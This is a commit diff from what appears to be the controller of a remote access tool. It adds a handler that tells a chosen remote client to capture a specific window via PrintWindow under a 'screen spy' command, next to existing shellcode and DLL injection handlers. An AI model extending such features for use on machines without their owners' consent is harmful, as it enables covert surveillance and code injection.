Feat: window capture via PrintWindow with server-side HWND routing by clientID
This commit is contained in:
@@ -890,6 +890,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_MESSAGE(WM_TRIAL_WAN_IP_ABUSE, OnTrialWanIpAbuse)
|
||||
ON_MESSAGE(WM_INJECT_SHELLCODE, InjectShellcode)
|
||||
ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen)
|
||||
ON_MESSAGE(WM_OPEN_WINDOW_SCREEN, OpenWindowScreen)
|
||||
ON_MESSAGE(WM_SHARE_CLIENT, ShareClient)
|
||||
ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
|
||||
ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
|
||||
@@ -10273,6 +10274,30 @@ void CMy2015RemoteDlg::InjectTinyRunDll(const std::string& ip, int pid)
|
||||
SAFE_DELETE(tinyRun);
|
||||
}
|
||||
|
||||
LRESULT CMy2015RemoteDlg::OpenWindowScreen(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
// wParam: new char[2 * sizeof(uint64_t)],前 8 字节为 clientID,后 8 字节为 HWND(uint64_t)
|
||||
char* arg = (char*)wParam;
|
||||
uint64_t clientID = 0, hwnd64 = 0;
|
||||
memcpy(&clientID, arg, sizeof(uint64_t));
|
||||
memcpy(&hwnd64, arg + sizeof(uint64_t), sizeof(uint64_t));
|
||||
delete[] arg;
|
||||
auto ctx = FindHost(clientID);
|
||||
if (!ctx) return S_FALSE;
|
||||
|
||||
// 窗口捕获只能走 GDI(PrintWindow),忽略用户的 DXGI 设置
|
||||
BOOL all = THIS_CFG.GetInt("settings", "MultiScreen", TRUE);
|
||||
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str();
|
||||
// [0]=COMMAND_SCREEN_SPY [1]=DXGI(强制GDI) [2]=algo [3]=all [4..11]=HWND(uint64_t)
|
||||
BYTE bToken[32] = { COMMAND_SCREEN_SPY, (BYTE)USING_GDI,
|
||||
(BYTE)(algo.IsEmpty() ? ALGORITHM_RGB565 : atoi(algo.GetString())),
|
||||
(BYTE)all };
|
||||
memcpy(bToken + 4, &hwnd64, sizeof(uint64_t));
|
||||
screenParamModifier(ctx, bToken);
|
||||
ctx->Send2Client(bToken, sizeof(bToken));
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
char* ip = (char*)wParam;
|
||||
|
||||
Reference in New Issue
Block a user